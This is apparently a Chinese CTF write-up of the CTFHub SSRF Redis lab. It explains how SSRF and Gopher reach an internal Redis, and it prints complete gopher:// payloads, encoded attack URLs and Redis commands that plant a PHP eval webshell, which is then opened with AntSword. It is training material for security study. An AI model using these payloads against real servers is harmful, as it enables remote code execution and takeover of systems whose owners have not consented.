目錄
一、SSRF Gopher Redis
1、功能簡介
2、攻擊原理
(1)SSR的作用
(2)Gopher 協議特性
(3)攻擊 Redis 步驟
二、gopherus
1、功能簡介
2、攻擊Redis服務方法
三、Gopherus安裝
1、源碼下載
2、編譯安裝
四、滲透實戰
1、打開靶場
2、gopherus滲透
(1)啟動攻擊模塊
(2)第一行輸入攻擊類型
(3)第二行輸入路徑
(4)第三行輸入 WebShell 內容
(5)URL編碼
(6)執行SSRF攻擊
4、連接木馬
本文通過CTFHub的SSRF Redis關卡的滲透實戰,詳細講解了SSRF結合Gopher協議攻擊Redis服務的技術原理與實踐方法。通過Gopherus工具構造惡意Redis請求,突破內網限制實現遠程代碼執行(RCE)。實戰演示了從生成Payload、URL編碼到利用SSRF安全風險上傳Webshell的全過程,最終通過蟻劍連接木馬獲取目標系統flag。
一、SSRF Gopher Redis
1、功能簡介
在Web安全領域,結合SSRF(服務器端請求偽造)、Gopher協議和Redis協議的攻擊,構成了針對內網Redis服務的高危威脅。這種攻擊能將原本低危的SSRF風險升級為具有遠程代碼執行(RCE)能力的致命攻擊鏈。攻擊者通過構造惡意Gopher請求,利用SSRF風險使目標服務器與內網Redis服務交互,最終達成遠程代碼執行目的。下表展示了這三個組件的核心作用。
組件 | 核心定位 | 關鍵特性 |
---|---|---|
SSRF | Server-Side Request Forgery?“服務器端請求偽造”,攻擊者通過可控輸入誘導服務器向任意地址 / 服務發起請求 | 突破客戶端訪問限制,可訪問服務器內網資源(如 127.0.0.1:6379 的 Redis服務) |
Gopher 協議 | 輕量級互聯網協議,支持構造任意二進制 / 文本請求包,可模擬完整協議交互 | 能封裝Redis協議的報文,通過gopher:// URL 傳遞給 SSRF安全風險點 |
Redis | 開源的高性能鍵值對內存數據庫,常用于緩存、消息隊列等 | Redis使用一種簡單、基于文本的協議。歷史版本默認無認證且綁定在?0.0.0.0 ,導致未授權訪問。 |
2、攻擊原理
Redis服務默認運行在服務器內網(127.0.0.1:6379),僅允許本地或信任網段訪問,外部無法直接觸達。而?SSRF + Gopher?恰好能突破這一限制,核心攻擊鏈路如下:
(1)SSRF的作用
SSRF 核心在于服務器未對用戶輸入的 URL 進行嚴格過濾和驗證,導致攻擊者可以控制服務器向任意地址發起請求。由于請求是由服務器端發出的,所以攻擊者能夠利用SSRF訪問服務器所在網絡內部的系統,而這些內部系統通常是外部無法直接訪問的,比如內網中的 Redis 服務。
(2)Gopher 協議特性
Gopher 協議是一種比 HTTP 協議更早出現的協議,現在已不常用,但在 SSRF 利用中卻非常有用。Gopher 協議可以發送各種格式的請求包,能夠構造任意的 TCP 數據流,這使得攻擊者可以通過 Gopher 協議模擬 Redis 協議的請求格式,向 Redis 服務器發送特定的命令。
(3)攻擊 Redis 步驟
①?確認 Redis 服務存在:攻擊者首先需要通過 SSRF探測內網中是否存在 Redis 服務,通常 Redis 默認運行在 6379 端口,攻擊者可以構造一個 SSRF 請求,嘗試訪問127.0.0.1:6379
,根據服務器的響應情況來判斷 Redis 服務是否存在。
②?構造惡意請求:一旦確認 Redis 服務存在,攻擊者就可以利用 Gopher 協議構造惡意的 Redis 命令請求包。例如,比讓Redis執行以下命令在服務器生成木馬文件。
FLUSHALL # 清空所有數據庫(可選,為了清潔)
SET shell "<?php @eval($_POST['ljn']); ?>" # 將一個鍵的值設置為Webshell代碼
CONFIG SET DIR /var/www/html # 修改Redis數據持久化存儲目錄為Web目錄
CONFIG SET DBFILENAME shell.php # 修改持久化數據文件名為webshell的名字
SAVE # 強制將當前數據庫保存到磁盤。由于上面修改了路徑和文件名,就會生成/var/www/html/shell.php
QUIT # 退出連接
③?發送請求并執行命令:攻擊者將構造好的 Gopher 協議請求包進行 URL 編碼后,嵌入到存在 SSRF安全風險的請求中,通過服務器發送給 Redis 服務器。Redis 服務器接收到請求后,會按照協議解析并執行其中的命令,從而完成攻擊者預期的操作。Gopher協議要求對整個TCP數據流進行URL編碼。手動構造極其繁瑣,這就是Gopherus這類工具的價值所在。
-
將Redis命令轉換為合規的協議格式。
-
對整個數據流進行URL編碼。
-
生成最終的Gopher URL:
gopher://127.0.0.1:6379/_<編碼后的數據>
④?實現后續控制:將生成的Gopher URL通過SSRF風險點提交給服務器后,如果Web目錄路徑正確且Redis有寫權限,攻擊成功后就會生成木馬文件,使用木馬的密碼連接木馬即可完全控制該服務器。
二、gopherus
1、功能簡介
Gopherus?是一款用 Python 編寫的開源工具,專門用于利用?SSRF(服務器端請求偽造)。它的核心功能是生成惡意編碼的?Gopher?協議載荷,從而攻擊內網中的各種服務,實現從信息泄露到遠程代碼執行(RCE)的升級。
項目地址: https://github.com/tarunkant/Gopherus
Gopherus?可以生成 Gopher 協議的有效載荷,用于實現遠程代碼執行(RCE),并獲取目標服務器的反向 Shell。該工具支持多種服務的 SSRF 攻擊 payload 生成,包括 MySQL、PostgreSQL、FastCGI、Redis、Zabbix、pymemcache、rbmemcache、phpmemcache、dmpmemcache、smtp 等。
2、攻擊Redis服務方法
在 Gopherus 中,針對 Redis服務的攻擊步驟如下所示。
# 1. 啟動Redis攻擊模塊
$ python2 gopherus.py --exploit redis# 2. 輸入Redis路徑和Webshell內容
[+] What do you want?? (ReverseShell/PHPShell): PHPShell
[+] Enter Redis path: /var/www/html
[+] Enter shell function: <?php system($_GET['cmd']); ?># 3. 獲取生成的Gopher載荷
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A# 4. 通過SSRF發送
curl "http://vulnerable-site.com/ssrf.php?url=生成的GopherURL"# 5. 生成Webshell文件并訪問
生成木馬文件URL:http://vulnerable-site.com/shell.php
密碼:cmd
三、Gopherus安裝
1、源碼下載
首先從 GitHub 上克隆 Gopherus 項目,可以通過命令行或者直接在網站官網下載源碼。
項目地址:https://github.com/tarunkant/Gopherus.git
命令行下載:git clone https://github.com/tarunkant/Gopherus.git
2、編譯安裝
然后進入項目源碼所在的目錄,其中install.sh為安裝腳本,如下圖所示。
賦予安裝腳本執行權限并運行,這一步會將 Gopherus 相關腳本鏈接到系統路徑,方便后續全局調用。如果不執行如下install命令,需要每次使用Gopherus工具時,進入到源碼路徑中使用。
chmod +x install.sh
sudo./install.sh
四、滲透實戰
1、打開靶場
打開靶場,如下圖所示題目給出以下提示“這次來攻擊redis協議吧.redis://127.0.0.1:6379,資料?沒有資料!自己找!”,這說明題目提醒我們使用SSRF Redis進行滲透,我們可以直接在kali使用gopherus腳本進行攻擊。
復制靶場鏈接(challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800)并訪問,如下所示被重定向到了?url=_中。
2、gopherus滲透
(1)啟動攻擊模塊
使用 gopherus.py --exploit redis啟動Redis攻擊模塊,具體命令如下所示。
python2 gopherus.py --exploit redis————使用gopherus工具生成payload
(2)第一行輸入攻擊類型
首先我們選擇攻擊類型為PHPShell,具體如下所示。
[+] What do you want?? (ReverseShell/PHPShell): PHPShell
-
PHPShell:生成一個 PHP WebShell 文件
-
ReverseShell:生成一個直接反彈 Shell 的 payload
(3)第二行輸入路徑
啟動 Gopherus 的 Redis 攻擊模塊后,具提示你輸入Redis 數據文件將要寫入的目標路徑。這個路徑的核心作用是:通過 Redis 的?CONFIG SET dir
?命令指定數據持久化目錄(即?dir
?參數),后續執行?SAVE
?命令時,Redis 會將內存中的數據(如攻擊者構造的惡意內容)寫入該目錄下的文件(由?dbfilename
?指定文件名)。簡言之,這個路徑決定了 Redis 寫入的惡意文件最終存儲在服務器的哪個位置,需根據目標服務器的 Web 目錄結構或可利用路徑填寫,才能讓后續的惡意文件被有效訪問和執行。
[+] Enter Redis path: /var/www/html
若輸入?/var/www/html
(Web 服務的根目錄),配合設置?dbfilename webshell.php
,則 Redis 會在?/var/www/html
?下生成?webshell.php
?文件。由于該目錄通常是 Web 服務器(如 Nginx、Apache)的網站根目錄,攻擊者可通過訪問?http://目標IP/webshell.php
?觸發惡意代碼執行,實現遠程控制。
(4)第三行輸入 WebShell 內容
接下來工具提示輸入要執行的命令,這是可以選擇使用一句話木馬,參數為mooyuan,完整內容為<?php @eval($_POST['mooyuan']);?>,具體含所以如下所示。
腳本內容 | 含義 | 作用 |
---|---|---|
<?php ... ?> | PHP 標簽 | 標識 PHP 代碼開始和結束 |
system() | 系統命令執行函數 | 執行操作系統命令 |
$_GET['mooyuan'] | 獲取 GET 參數 | 從 URL 中獲取?mooyuan ?參數的值 |
; | 語句結束符 | PHP 語法要求 |
Gopherus 會自動將?dbfilename
(Redis 持久化文件名)設置為?shell.php,配置完畢后
Gopherus 工具會根據輸入生成相應的 Gopher 協議有效載荷(下圖白色下劃線文字),如下所示。
[+] Enter shell function: <?php system($_GET['mooyuan']); ?>
(5)URL編碼
此時工具會根據輸入生成相應的 Gopher 協議有效載荷,復制上圖中白色下劃線的Payload,內容如下所示。
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2437%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27mooyuan%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
生成的有效載荷需要進行 URL 編碼,可使用在線編碼工具或編程語言中的編碼函數進行編碼。把生成的payload進行URL編碼,編碼后如下所示。
gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252437%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527mooyuan%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
(6)執行SSRF攻擊
訪問構造的paylaod URL網址,使用參數?url=Payload進行SSRF攻擊,也就是拼接(challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/?url=_)與Payload,完整URL如下所示。
http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252437%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527mooyuan%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
顯示此頁面為504,沒有關系,執行這段payload的目標就是在服務器根目錄上傳木馬shell.php,
此時shell.php應該已經被傳到靶場的根目錄,因此木馬文件的URL地址如下所示。
http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/shell.php
3、連接木馬
打開蟻劍,添加數據,填寫URL地址和密碼,其中木馬ljn.php的具體信息如下所示。
木馬內容:<?php @eval($_POST['mooyuan']);?>
木馬URL:http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/shell.php
木馬密碼:mooyuan
如下所示,填寫完畢后點擊測試連接右下角出現綠色連通文字,點擊添加即成功連接木馬。
右鍵選擇文件系統,開始查找flag相關的文件,如下所示在根目錄中找到flag文件。
雙擊打開文件flag_5102c54a839a31054559e7d99720ad84,成功獲取到flag值。